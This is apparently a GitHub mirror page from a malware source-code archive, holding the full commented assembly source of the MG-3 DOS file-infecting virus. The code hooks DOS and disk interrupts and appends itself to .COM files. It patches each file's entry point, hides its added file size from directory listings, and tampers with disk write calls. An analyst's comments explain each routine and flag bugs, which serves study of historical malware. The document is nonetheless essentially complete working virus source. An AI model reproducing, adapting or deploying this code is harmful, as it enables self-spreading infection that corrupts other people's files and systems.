mirror of
https://github.com/vxunderground/MalwareSourceCode.git
synced 2024-12-24 20:35:25 +00:00
339 lines
9.1 KiB
NASM
339 lines
9.1 KiB
NASM
page ,132
|
|
;
|
|
; name: mg-3.vom
|
|
;
|
|
; program type: com/bin
|
|
;
|
|
; cpu type: 8086
|
|
;
|
|
; program loaded at 0000:01f8
|
|
;
|
|
; physical eof at 0000:03f5
|
|
;
|
|
; program entry point at 0000:01f8
|
|
;
|
|
fun segment
|
|
assume cs:fun,ds:fun,es:fun,ss:fun
|
|
;
|
|
; references before the start of code space
|
|
;
|
|
org 0006h
|
|
h_0006 label word
|
|
org 004ch
|
|
h_004c label word
|
|
org 004eh
|
|
h_004e label word
|
|
org 0090h
|
|
h_0090 label word
|
|
org 0092h
|
|
h_0092 label word
|
|
;
|
|
; data references to code space addresses
|
|
;
|
|
; org 0339h
|
|
;h_0339 label byte
|
|
;
|
|
; start of program
|
|
;
|
|
org 01f8h
|
|
h_01f8:
|
|
call h_0204 ;goto virus
|
|
nop
|
|
mov ax,4c00h
|
|
int 21h ;terminate program
|
|
;
|
|
h_0201 db 0ebh,02h,90h ;saved_prog_start
|
|
h_0204:
|
|
xchg ax,dx ;save ax
|
|
pop di ;get return address
|
|
dec di ;back by 2
|
|
dec di ;to CALL ofs
|
|
mov si,[di] ;get call ofs
|
|
dec di ;back 1 to start of program
|
|
add si,di ;call ofs plus prog start
|
|
;= saved_prog_start
|
|
push cs ;save cs
|
|
push di ;and di for program start
|
|
cld ;up!
|
|
movsw ;replace 1st word
|
|
movsb ;and 3rd byte of program
|
|
mov ax,4b04h ;fn = virus ID
|
|
int 21h ;call DOS
|
|
jae h_027f ;OK (installed), skip this
|
|
xor ax,ax ;get a 0
|
|
mov es,ax ;address INT seg
|
|
mov di,0204h ;es:di = new virus home
|
|
mov cx,offset h_03f5-h_0204 ;virus size (01f1h)
|
|
repz movsb ;copy virus to low mem
|
|
les di,[0006h] ;get seg:ofs of CPMtype doscall
|
|
mov al,0eah ;JMPF instruction
|
|
dec cx ;cx = 0FFFFh
|
|
repnz scasb ;find JMPF
|
|
les di,es:[di] ;get seg:ofs to DOS
|
|
sub di,-21h ;up to ??
|
|
jmp 0000h:0239h ;goto virus in low memory
|
|
h_0239:
|
|
push es ;DOS seg
|
|
pop ds ;to ds
|
|
mov si,[di-04h] ;get ptr to max_dos_fn
|
|
lodsb ;get that byte
|
|
cmp al,68h ;at least 68?
|
|
mov [di-03h],al ;set immediate compare value
|
|
mov word ptr [di-05h],0fc80h ;CMP AH,xx instruction
|
|
mov word ptr [di-07h],0fccdh ;INT 0FCH instruction
|
|
push cs ;current segment
|
|
pop ds ;to ds
|
|
mov [03fch],di ;set INT FF ofs to DOS entry
|
|
mov [03feh],es ;and INT FF seg to DOS entry
|
|
;BUG: need to have INT FF point to the
|
|
; CMP AH,xx instruction they
|
|
; have set up!!!
|
|
mov byte ptr [h_0339],0ah ;set dosver_skip
|
|
jnae h_026e ;not DOS 3.3+, skip this
|
|
mov byte ptr [h_0339],00h ;reset dosver_skip
|
|
mov word ptr [h_07b4],offset h_03db ;set ofs of saved INT 13 vector
|
|
mov [h_07b6],cs ;and seg of saved INT 13 vector
|
|
;in IBMBIO.COM
|
|
;NOTE: How stable are these locations?!?!?!
|
|
h_026e:
|
|
mov al,0a9h ;TEST AX,xxxx instruction
|
|
h_0270:
|
|
repnz scasb ;find it
|
|
cmp word ptr es:[di],-28h ;immediate value = 0FFD8h?
|
|
;NOTE: test for illegal flag values
|
|
jnz h_0270 ;no, try again
|
|
mov al,18h ;new immediate value: 0FF18h
|
|
;NOTE: remove "our" flag from illegal values
|
|
stosb ;modify test instr
|
|
push ss ;copy PSP seg
|
|
pop ds ;to ds
|
|
push ss ;and again
|
|
pop es ;to es
|
|
h_027f:
|
|
xchg ax,dx ;get original AX back
|
|
retf ;and execute infected program
|
|
;
|
|
; intfchere
|
|
;
|
|
h_0281:
|
|
push ax ;save regs
|
|
push dx
|
|
push ds
|
|
push cx
|
|
push bx
|
|
push es
|
|
cmp ax,4b04h ;fn = virus ID?
|
|
jz h_02ad ;yes, cleanup and exit NC
|
|
xchg ax,cx ;save ax
|
|
mov ah,2fh ;fn = get DTA
|
|
int 0ffh ;call DOS
|
|
cmp ch,11h ;fn = FCB find first?
|
|
jz h_029b ;yes, stop here
|
|
cmp ch,12h ;fn = FCB find next?
|
|
jnz h_02b4 ;no, skip this
|
|
h_029b:
|
|
xchg ax,cx ;get fn back
|
|
int 0ffh ;call to DOS
|
|
push ax ;save return code
|
|
test byte ptr es:[bx+13h],0c0h ;check our attribute bits
|
|
jz h_02ac ;not set, skip this
|
|
sub word ptr es:[bx+24h],offset h_03f5-h_0201
|
|
;update filesize to hide virus (01f4h)
|
|
h_02ac:
|
|
pop ax ;restore regs
|
|
h_02ad:
|
|
pop es
|
|
pop bx
|
|
pop cx
|
|
add sp,+0ch ;cleanup stack
|
|
iret ;and return to caller
|
|
;BUG: Should preserve returned flags!
|
|
h_02b4:
|
|
mov ah,19h ;fn = get current disk
|
|
int 0ffh ;call to DOS
|
|
push ax ;save disk
|
|
cmp ch,36h ;fn = get disk free space?
|
|
jz h_02e9 ;yes, stop here
|
|
cmp ch,4eh ;fn = find first?
|
|
jz h_02e0 ;yes, stop here
|
|
cmp ch,4bh ;fn = load/execute?
|
|
jz h_02e0 ;yes, stop here
|
|
cmp ch,47h ;fn = get current dir?
|
|
jnz h_02d1 ;no, skip this
|
|
cmp al,02h ;drive >= C:?
|
|
jae h_02ee ;yes, stop here
|
|
h_02d1:
|
|
cmp ch,5bh ;fn = create new file?
|
|
jz h_02e0 ;yes, stop here
|
|
shr ch,1 ;fn / 2
|
|
cmp ch,1eh ;fn = 3C or 3D?
|
|
;create file or open file?
|
|
jz h_02e0 ;yes, stop here
|
|
jmp h_03bb ;else continue DOS call
|
|
h_02e0:
|
|
mov ax,121ah ;fn = get file's drive
|
|
xchg si,dx ;ds:si = filename
|
|
int 2fh ;multiplex interrupt
|
|
xchg ax,dx ;ax = old si, dx = drive
|
|
xchg ax,si ;old si to si
|
|
h_02e9:
|
|
mov ah,0eh ;fn = set current disk
|
|
dec dx ;drive A: = 0, B: = 2, etc
|
|
int 0ffh ;call to DOS
|
|
h_02ee:
|
|
push es ;save dta seg
|
|
push bx ;and dta ofs
|
|
sub sp,+2ch ;allocate locals
|
|
mov dx,sp ;get ptr to local DTA
|
|
push sp ;save ptr to local DTA
|
|
mov ah,1ah ;fn = set DTA
|
|
push ss ;stack segment
|
|
pop ds ;is DTA seg
|
|
int 0ffh ;call to DOS
|
|
mov bx,dx ;bx = ptr to DTA
|
|
push cs ;current segment
|
|
pop ds ;to ds
|
|
mov ah,4eh ;fn = find first matching file
|
|
mov dx,offset h_03e9 ;ds:dx = wildcard_com
|
|
mov cx,0003h ;attributes = HIDDEN, Read-Only
|
|
int 0ffh ;call to DOS
|
|
jnae h_0319 ;error, cleanup and exit
|
|
h_030c:
|
|
test byte ptr ss:[bx+15h],80h ;our attribute set?
|
|
jz h_031c ;no, continue
|
|
;BUG: If it will re-infect a file with the
|
|
; MG-2 attribute set, then the above
|
|
; size change mask will FAIL!
|
|
h_0313:
|
|
mov ah,4fh ;fn = find next matching file
|
|
int 0ffh ;call to DOS
|
|
jae h_030c ;OK, check out this file
|
|
h_0319:
|
|
jmp h_03b2 ;cleanup and exit
|
|
h_031c:
|
|
cmp byte ptr ss:[bx+1bh],0fdh ;file too big?
|
|
ja h_0313 ;yes, try next file
|
|
mov word ptr [0090h],offset h_03c7 ;set INT24HERE ofs
|
|
mov [0092h],cs ;and INT24HERE seg
|
|
;NOTE: The original values are NOT saved!
|
|
les ax,[004ch] ;get INT 13 vector
|
|
mov [h_03f7],ax ;save oldint13ofs
|
|
mov [h_03f9],es ;and oldint13seg
|
|
h_0339 equ $+1 ;dosver_skip
|
|
jmp short h_033a ;if not DOS 3.3+, skip this
|
|
h_033a:
|
|
mov word ptr [004ch],offset h_03ca ;set ofs of INT13HERE_2
|
|
mov [004eh],cs ;and new INT 13 seg, too
|
|
;
|
|
; dosver_skip comes here
|
|
;
|
|
push ss ;DTA seg
|
|
pop ds ;to ds
|
|
push word ptr [bx+16h] ;save file time
|
|
push word ptr [bx+18h] ;and file date
|
|
push word ptr [bx+15h] ;and file attributes
|
|
lea dx,[bx+1eh] ;ds:dx = name found in DTA
|
|
mov ax,4301h ;fn = set file attributes
|
|
pop cx ;get file attributes
|
|
and cx,00feh ;high byte, R/O bit off
|
|
or cl,0c0h ;set our attributes
|
|
int 0ffh ;call to DOS
|
|
mov ax,3d02h ;fn = open file for read/write
|
|
int 0ffh ;call to DOS
|
|
xchg ax,bx ;handle to bx
|
|
push cs ;current segment
|
|
pop ds ;to ds
|
|
mov ah,3fh ;fn = read file
|
|
mov cx,0003h ;size of saved_prog_start
|
|
mov dx,offset h_0201 ;ds:dx = saved_prog_start
|
|
int 0ffh ;call to DOS
|
|
mov ax,4202h ;fn = lseek to EOF+CX:DX
|
|
xor dx,dx ;cx:dx = 0
|
|
mov cx,dx
|
|
int 0ffh ;call to DOS
|
|
mov [h_03f5],ax ;save virus_call_ofs
|
|
mov ah,40h ;fn = write to file
|
|
mov cx,offset h_03f5-h_0201 ;virus size (01f4h)
|
|
mov dx,offset h_0201 ;ds:dx = this virus
|
|
int 0ffh ;call to DOS
|
|
jnae h_039c ;error, cleanup and quit
|
|
mov ax,4200h ;fn = lseek to BOF+CX:DX
|
|
xor dx,dx ;cx:dx = 0
|
|
mov cx,dx
|
|
int 0ffh ;call to DOS
|
|
mov ah,40h ;fn = write to file
|
|
mov cx,0003h ;size of virus_call
|
|
mov dx,offset h_03f4 ;ds:dx = virus_call
|
|
int 0ffh ;call to DOS
|
|
h_039c:
|
|
mov ax,5701h ;fn = set file time/date
|
|
pop dx ;restore file date
|
|
pop cx ;and file time
|
|
int 0ffh ;call to DOS
|
|
mov ah,3eh ;fn = close file
|
|
int 0ffh ;call to DOS
|
|
les ax,[h_03f7] ;get oldint13
|
|
mov [004ch],ax ;restore INT 13 ofs
|
|
mov [004eh],es ;and INT 13 seg
|
|
h_03b2:
|
|
add sp,+2eh ;clean stuff off stack
|
|
pop dx ;restore old DTA ofs
|
|
pop ds ;and old DTA seg
|
|
mov ah,1ah ;fn = set DTA
|
|
int 0ffh ;call to DOS
|
|
h_03bb:
|
|
pop dx ;get default drive back
|
|
mov ah,0eh ;fn = set current drive
|
|
int 0ffh ;call to DOS
|
|
pop es ;restore regs
|
|
pop bx
|
|
pop cx
|
|
pop ds
|
|
pop dx
|
|
pop ax
|
|
iret ;continue INT 21
|
|
;
|
|
; int24here
|
|
;
|
|
h_03c7:
|
|
mov al,03h ;response = FAIL
|
|
iret ;and done
|
|
;
|
|
; int13here_2
|
|
;
|
|
h_03ca:
|
|
cmp ah,03h ;fn = write?
|
|
jnz h_03d6 ;no, skip this
|
|
inc byte ptr cs:[h_03ef] ;update ??
|
|
dec ah ;change function to read
|
|
h_03d6:
|
|
jmp dword ptr cs:[h_03f7] ;and continue INT 13
|
|
;
|
|
; int13here
|
|
;
|
|
h_03db:
|
|
shr byte ptr cs:[h_03ef],1 ;update ??
|
|
jae h_03e4 ;yes, skip this
|
|
inc ah ;change function
|
|
;i.e. read changes to write, etc!
|
|
h_03e4:
|
|
jmp dword ptr cs:[h_07b0] ;continue INT 13
|
|
;
|
|
h_03e9 db "* .COM" ;wildcard_com
|
|
h_03ef db 00h
|
|
;NOTE: location of following data CANNOT change!
|
|
h_03f0 dw h_0281,0000h ;INT 0FCH vector!
|
|
h_03f4 db 0e8h ;virus_call
|
|
h_03f5 equ $
|
|
;
|
|
; references after the end of code space
|
|
;
|
|
org 03f5h
|
|
h_03f5 label word ;virus_call_ofs
|
|
org 03f7h
|
|
h_03f7 label word ;oldint13ofs
|
|
org 03f9h
|
|
h_03f9 label word ;oldint13seg
|
|
fun ends
|
|
end h_01f8
|